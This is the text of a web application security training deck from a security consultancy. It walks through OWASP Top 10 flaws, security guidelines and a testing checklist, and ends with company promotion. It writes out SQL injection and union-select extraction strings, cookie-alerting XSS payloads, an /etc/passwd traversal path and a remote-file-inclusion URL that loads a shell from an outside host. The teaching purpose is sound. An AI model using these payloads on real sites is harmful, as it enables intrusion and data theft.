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Web Application Security

By Sunny Vaghela sunny@techdefence.com

Session Flow
What is Web Application Security? Security Misconceptions Reasons for Attacking Web Applications OWASP Top 10 Vulnerabilities Security guidelines Web Application Security checklist

Need for Cyber Security


Use of Complex computer infrastructure is increasing . Use of Web Applications increasing. Decreasing Level of Skill Set of Hackers.

Problem Illustration
Application Layer
Attacker sends attacks inside valid HTTP requests Your custom code is tricked into doing something it should not Security requires software development expertise, not signatures
Application Layer
Communication Knowledge Mgmt E-Commerce Bus. Functions Legacy Systems Administration Transactions Human Resrcs Web Services Directories Databases Accounts Finance

APPLICATION ATTACK

Custom Code

App Server Web Server

Billing

Network Layer
Firewall, hardening, patching, IDS, and SSL cannot detect or stop attacks inside HTTP requests. Security relies on signature databases

Network Layer

Hardened OS

Firewall

Insider

Firewall

Security Misconceptions
The Firewall protects my web server and database Access to the server through ports 80 and 443 makes the web server part of your external perimeter defense Vulnerabilities in the web server software or web applications may allow access to internal network resources

Security Misconceptions
The IDS protects my web server and database The IDS is configured to detect signatures of various well-known attacks Attack signatures do not include those for attacks against custom applications

Security Misconceptions
SSL secures my site SSL secures the transport of data between the web server and the users browser. SSL does not protect against attacks against the server and applications. SSL is the hackers best friend due to the false sense of security

The Source of Problem


Malicious hackers dont create security holes; they simply exploit them. Security holes and vulnerabilities the real root cause of the problem are the result of bad software design and implementation. -John Viega & Gary McGraw

Reasons for Attacking Web Apps

Vulnerability Used

OWASP Top 10 Vulnerabilities 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. Injection Flaws Cross Site Scripting (XSS) Malicious File Execution Insecure Direct Object Reference Cross Site Request Forgery (CSRF) Information Leakage and Improper Error Handling Broken Authentication and Session Management Insecure Cryptographic Storage Insecure Communications Failure to Restrict URL Access

Injection Flaws
Injection means Tricking an application into including unintended commands in the data sent to an interpreter Interpreters Take strings and interpret them as commands SQL, OS Shell, LDAP, XPath, etc SQL injection is still quite common Many applications still susceptible

SQL Injection Example


Communication Knowledge Mgmt E-Commerce Bus. Functions

Custom Code

Attacker enters SQL fragments into a web page that uses input in a query 2 3

Attacker views unauthorized data

Application sends modified query to database, which executes it

EXAMPLE: $sql = "SELECT * FROM table WHERE id = '" . $_REQUEST['id] . "";

Administration Transactions

Accounts Finance

Attacker sends data containing SQL fragments

Database

Injection Flaws
SELECT * FROM Account: Account: Account Summary accounts WHERE SKU: SKU: acct= OR 1=1-Acct:5424-6066-2134 4334 1. Application presents a form to the attacker all via SSL 2. Attacker sends an attack in the form data 3. Application forwards attack to the database in a SQL query 4.Database runs query containing attack and sends encrypted results back to application 5. Application decrypts data as normal and sends results to the user
Firewall

Communication Knowledge Mgmt E-Commerce Bus. Functions

Legacy Systems

Administration Transactions

Application Layer

HTTP request APPLICATION

ATTACK

HTTP SQL respon query se


Custom Code

>M

DB Table
Directories

Human Resrcs

Web Services

Databases

Accounts Finance

>

App Server Web Server Network Layer Hardened OS

Firewall

Billing

SQL Injection
It is a flaw in "web application" development, it is not a DB or web server problem. Most programmers are still not aware of this problem A lot of the tutorials & demo templates are vulnerable Even worse, a lot of solutions posted on the Internet are not good enough. In our pen tests over 60% of our clients turn out to be vulnerable to SQL Injection

Business Impacts of SQL Injection


Attackers can Access the entire database schema Steal, modify, and delete database contents Prevent legitimate access to the database Run operating system commands on database server Disclose company proprietary data

SQL Injection
Common vulnerable login query SELECT * FROM users WHERE login = 'victor' AND password = '123 (If it returns something then login!) ASP/MS SQL Server login syntax var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";

SQL Injection
Injecting Through Strings formusr = ' or 1=1 formpwd = anything Final query would look like this: SELECT * FROM users WHERE username = ' ' or 1=1 AND password = 'anything'

SQL Injection
The Power of It closes the string parameter. Everything after is considered part of the SQL command. SELECT * FROM clients WHERE account = 12345678 AND pin = 1111 PHP/MySQL login syntax $sql = "SELECT * FROM clients WHERE " . "account = $formacct AND " . "pin = $formpin";

SQL Injection
Injecting Numeric Fields $formacct = 1 or 1=1 # $formpin = 1111 Final query would look like this: SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111

SQL Injection
Standard SQL commands such as "Select , "Insert, "Update, "Delete, "Create", and "Drop" can be used to accomplish almost everything that one needs to do with a database. When you click a link like this, www.site.com/news.asp?ArticleID=10, The link tells the site to look in the table that stores the article names for an article whos "ArticleID" is 10.

SQL Injection
The "INFORMATION_SCHEMA" holds the names of every table and column on a site. On every SQL server there will be an "INFORMATION_SCHEMA" and its name will never change.

Understanding Error Messages


Example : www.site.com/index.php?id=1 Add or /* after id= 1 to check whether site is vulnerable or not. if site is giving some error/blank page then site is vulnerable to SQL injection.

Finding out Vulnerable Columns


Example : www.site.com/index.php?id=1+order+by+1 - Increase order till you get an error message something like Unknown Column in Order Clause

Extracting Information from database


www.site.com/index.php?id=1+union+all+select+1,table_name,3,4,5, 6,7+from+information_schema.tables The above mentioned query gives names of tables stored in database. www.site.com/index.php?id=1+union+all+select+1,column_name+3, 4,5,6,7+from+information_schema.columns+where+table_schema=c har() The above mentioned query gives names of tables stored in database.

SQL Injection

SQL Injection Demo

XSS ( Cross Site Scripting)


Occurs any time Raw data from attacker is sent to an innocent user Raw data Stored in database Reflected from web input (form field, hidden field, url, etc) Sent directly into rich JavaScript client Virtually every web application has this problem Try this in your browser javascript:alert(document.cookie)

Reflected XSS

http://www.boi.com

Search-field input is often reflected back to user.

<script>alert(document.cookie)</script> Site reflects the script back to user where it executes and displays the session cookie in a pop-up.

Business Impact of XSS


Attackers can Steal user sessions for complete account takeover Steal data on web pages viewed by victim Deface pages viewed by victim Use web pages for phishing

Business Impact of XSS


Occurs any time Raw data from attacker is sent to an innocent user Raw data Stored in database Reflected from web input (form field, hidden field, url, etc) Sent directly into rich JavaScript client Virtually every web application has this problem

Finding XSS
Most Common Blogs, Forums, Shout boxes, Comment Boxes, Search Box's, there are too many to mention. Using 'Google Dorks search inurl: "search.php?q=" XSS Examples
http://site.com/search.php?q=<script>alert("XSS")</script> http://site.com/search.php?q=<script>window.open( "http://www.google.com/" )</script>

Case Study: XSS


A British researcher, Jim Ley, discovered (2004) a XSS flaw in Google and provided this proof of concept Phishing page where Google becomes a paying service. If you would be so kind as to provide your credit card details . Now fixed.

XSS

XSS Demo

Stored XSS
1
Attacker sets the trap update my profile Application with stored XSS vulnerability

Victim views page sees attacker profile

Custom Code

Script runs inside victims browser with full access to the DOM and cookies 3
Script silently sends attacker Victims session cookie

Communication Knowledge Mgmt E-Commerce Commerce Bus. Functions

Administration Transactions

Accounts Finance

Attacker enters a malicious script into a web page that stores the data on the server

Finding XSS

XSS Demo

Insecure Direct Object Reference - LFI


The simplest way to see if a script is vulnerable to local file inclusion, is this: index.php?page=../../../../../../../../../etc/passwd That Shows the complete User information in that server with paths.. Where ../ causes the script to move up one directory, Multiple ../ cause the script to move to the top level directory (/, the root of the filesystem) and /etc/passwd is the Unix passwd file.

Malicious File Inclusion - RFI


Malicious file execution vulnerabilities are found in many applications. Developers will often directly use or concatenate potentially hostile input with file or stream functions, or improperly trust input files. On many platforms, frameworks allow the use of external object references, such as URLs or file system references. When the data is insufficiently checked, this can lead to arbitrary remote and hostile content being included, processed or invoked by the web server.

Malicious File Inclusion Illustration


Communication Knowledge Mgmt E-Commerce Bus. Functions Administration Transactions

Attacker sends request that specifies the path to a malicious file in a parameter

Attacker changes a parameter which is supplied to a file inclusion function 2

Attacker views results of executing the attack, or takes control of the affected server

PHP application includes the specified file and executes the contents

Accounts Finance

Custom Code

File System

Business Impact of RFI


This allows attackers to perform: Remote code execution Remote root kit installation and complete system compromise. Remote shell installation Remote modification & deletion of files on server.

RFI
If allow_url_include is on in php.ini, we can inject a shell directly. You only need to load by GET or POST directly to an URI with the shell (using a non PHP extension): Like http://www.techdefence.com/index.php?page=news.php Now if the Index.php has Remote File Inclusion like <?php include($_GET[page]); ?> So the above URL is written like http://www.techdefence.com/index.php?page=http://www.evilscript.com/ shell.txt

Fixing RFI
Practice Secure Coding Techniques Instead of using $_GET use $_POST Filter all the pages and Give file permissions perfectly so that no one can access. Keep Safe Mode On in PHP. Disallow unused commands in linux environment

Information Leakage and Improper Error Handling

Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems. Applications can also leak internal state via how long they take to process certain operations or via different responses to differing inputs, such as displaying the same error text with different error numbers. Web applications will often leak information about their internal state through detailed or debug error messages.

Information Leakage and Improper Error Handling

Fixing Information Leakage & improper Error Handling Ensure that the entire software development team shares a common approach to exception handling. Disable or limit detailed error handling. In particular, do not display debug information to end users, stack traces, or path information. Ensure that secure paths that have multiple outcomes return similar or identical error messages in roughly the same time.

Failure to restrict URL Access


Frequently, the only protection for a URL is that links to that page are not presented to unauthorized users. However, a motivated, skilled, or just plain lucky attacker may be able to find and access these pages, invoke functions, and view data.

Fixing Failure to restrict URL Access


Ensure the access control matrix is part of the business, architecture, and design of the application Ensure that all URLs and business functions are protected by an effective access control mechanism. Pay close attention to include/library files. Do not assume that users will be unaware of special or hidden URLs or APIs Keep up to date with virus protection and patches

Vulnerability Scnners

Acunetix Vulnerability Scanner W3af Vulnerability Scanner AppScan Vulnerability Scanner

Security Guidelines
1. 2. 3. 4. 5. 6. 7. 8. 9. Validate Input and Output Fail Securely (Closed) Keep it Simple Use and Reuse Trusted Components Defense in Depth Only as Secure as the Weakest Link Security By Obscurity Won't Work Least Privilege Compartmentalization (Separation of Privileges)

Validate Input & Output


All user input and user output should be checked to ensure it is both appropriate and expected. Allow only explicitly defined characteristics and drop all other data.

Fail Securely
When it fails, it fails closed. It should fail to a state that rejects all subsequent security requests. A good analogy is a firewall. If a firewall fails it should drop all subsequent packets

Keep It Simple
If a security system is too complex for its user base, it will either not be used or users will try to find measures to bypass it. This message applies equally to tasks that an administrator must perform in order to secure an application. This message is also intended for security layer API's that application developers must use to build the system.

Use & Reuse Components


Using and reusing trusted components makes sense both from a resource stance and from a security stance. When someone else has proven they got it right, take advantage of it.

Defence In Depth
Relying on one component to perform its function 100% of the time is unrealistic. While we hope to build software and hardware that works as planned, predicting the unexpected is difficult. Good systems don't predict the unexpected, but plan for it.

Only as Secure as the Weakest Link


Careful thought must be given to what one is securing. Attackers are lazy and will find the weakest point and attempt to exploit it.

Security By Obscurity Won't Work


It's naive to think that hiding things from prying eyes doesn't buy some amount of time. This strategy doesn't work in the long term and has no guarantee of working in the short term.

Least Privilege
Systems should be designed in such a way that they run with the least amount of system privilege they need to do their job.

Compartmentalization (Separation of Privileges)

Compartmentalizing users, processes and data helps contain problems if they do occur. Compartmentalization is an important concept widely adopted in the information security realm.

Web Application Vulnerability Checklists


Parameter CheckList URL request URL encoding Query string Header Cookie Form field Hidden field Client side validation Tainted parameters Min/Max lengths Concatenate commands Determine policies for access to content and functions.

Session Management
Token protection Session Duration Idle time Duration Guess Session ID format Transfer in URL or BODY? Is Session Id linked to the IP address? Change Referrer tag

Backend Authentication
Trust relationships Encryption Plaintext password in HTML Password in configuration file.

XSS
Which type stored or reflected? Check for 404/500 error pages for return information. Input validation.

Misconfiguration
Nikto results Nessus results Patch level Directory listing Directory permission Error messages Default username/pass SSL cert. Configuration Debug or configuration Files Check for latest vulnerabilities

Unwanted
Backup files Defaults files Services Remote admin. Access

SQL Injection
Mirror website and search for all input parameters Gain database related information Error Messages Privileges given to the webserver or database

Access Points
Ability to brute force at the discovered access points. Ability to bypass auth. with spoofed tokens Ability to conduct replay attack. Forced browsing, does application keep a check by tracking request from each user.

Need For Cyber Security


Information is asset of any organization. Any breach in information security can affect image/reputation of organization. Lack of Cyber Security Awareness among netizens. 10% of total Netizens aware about Hacking & Hackers. 5% of total Law Enforcement Agencies people are well trained to tackle cyber crime. Recent Surveys shows 200% increase in Cyber Crime.

TechDefence Consulting Pvt Ltd


Vision : To make a lasting impression and carve a special space for ourselves as a trusted and globally accepted security service provider. Mission: To affirm our vision of being a global security service provider, TechDefence Consulting aims to deliver timely, efficient , quality conscious and cost effective security solutions through our team of certified security professionals to organizations across the globe and assist as well as ensure that their systems and processes are totally secure and stable from any threat whatsoever.

Our Global Presence


India Offices: Ahmedabad, V.V.Nagar, Nasik, Pune,Hyderabad International Offices: Mauritius, Australia

Our Services
TechInvestigations A Cyber Crime Investigation unit
If you want to catch Criminal then Think like one Analysing, investigating and accumulating the digital evidence and cyber trails is better known as Cyber Crime Investigation. It can be found in computer hard disks, cell phones, CDs, DVDs, floppies, computer networks, the Internet etc. Make Law Enforcement or Government Agencies - Aware of the various Cyber Crimes!. Guide them - How to Prevent Cyber Crimes? Solve Cyber Crime Cases using our technical expertise for Law Enforcement Agencies. Aide them to Legally resolve and bring the Cyber Criminals (People who commit Cyber Crimes) to justice.

Our Services
TechInvestigation A Cyber Crime Investigation unit Our Recent Cases:
Ahmedabad Serial Bomb Blast Terror Mail case Traced out Terror Mail trail of Ahmedabad Serial Bomb Blast case. Cyber Investigation of Mumbai Blasts We have successfully accomplished task of getting confidential information from JAMAT UD DAWAH.

Our Services
TechHackscan A Vulnerability Assessment & Penetration Testing unit
Where you will see the facilities, we see the flaws As Penetration tester & Website Security Auditor, we evaluate security of clients websites through simulation of a controlled and managed intrusion into your system by a malicious user, known as a cracker. We will assure that our active analysis of the websites for any potential vulnerability that may result from poor or improper system configuration, development is going to be carried out. We submit Developer as well as remediation report.

Our Services
TechForensics A Cyber Forensics Unit
With the right application of science and technology for acquisition, preservation, identification, analysis, and presentation of digital evidence or data in a way, we preserve the integrity of the digital information blending it with the legal acceptability. We provide the highest quality instructor interactive training to help legal firms, accounting firms, government and law enforcement agencies for better performance in the cyber forensic matters. We can also work on Framework Development for Cyber Forensics Labs (CFL)

Our Services
Training & Workshops
TechDefence Certified Cyber Security Expert. NASSCOM Predicts requirement of 1,88,000 security professionals by 2010,currently the number of security professionals in india is arount 22,000. CCSE is Career oriented hands on training program on Advanced Ethical Hacking, Cyber Crime Investigation, Cyber Forensics & Penetration Testing.

Our Clients
Private Sector VAPT Computer Clinic - Mauritius Multievents Ltd - Mauritius Noble Ventures USA Future Group Mid Day, Delhi Govt Sector Crime Branch, Ahmedabad ATS, Mumbai URICM, Gandhi Nagar Chief Ministers Office, Government of Gujarat

Our Clients
Corporate Workshops Hackintosh 2009 YAHOO!, Google, K7 Antivirus, ZOHO, KPMG, HCL, TCS Delloitte , ISACA,T Temenos.

TechDefence Labs
A Research & Development Unit focusing on Secure Software Development,
Client Security Product, Security Product Development. TechDefence Projects to offer HIDS (Host based Intrusion Detection System). Centralized Cyber Caf Monitoring & Reporting System. File Encrypter. Online VAPT Scanner. Online Multi Antivirus Scanner.

Thank You
sunny@techdefence.com

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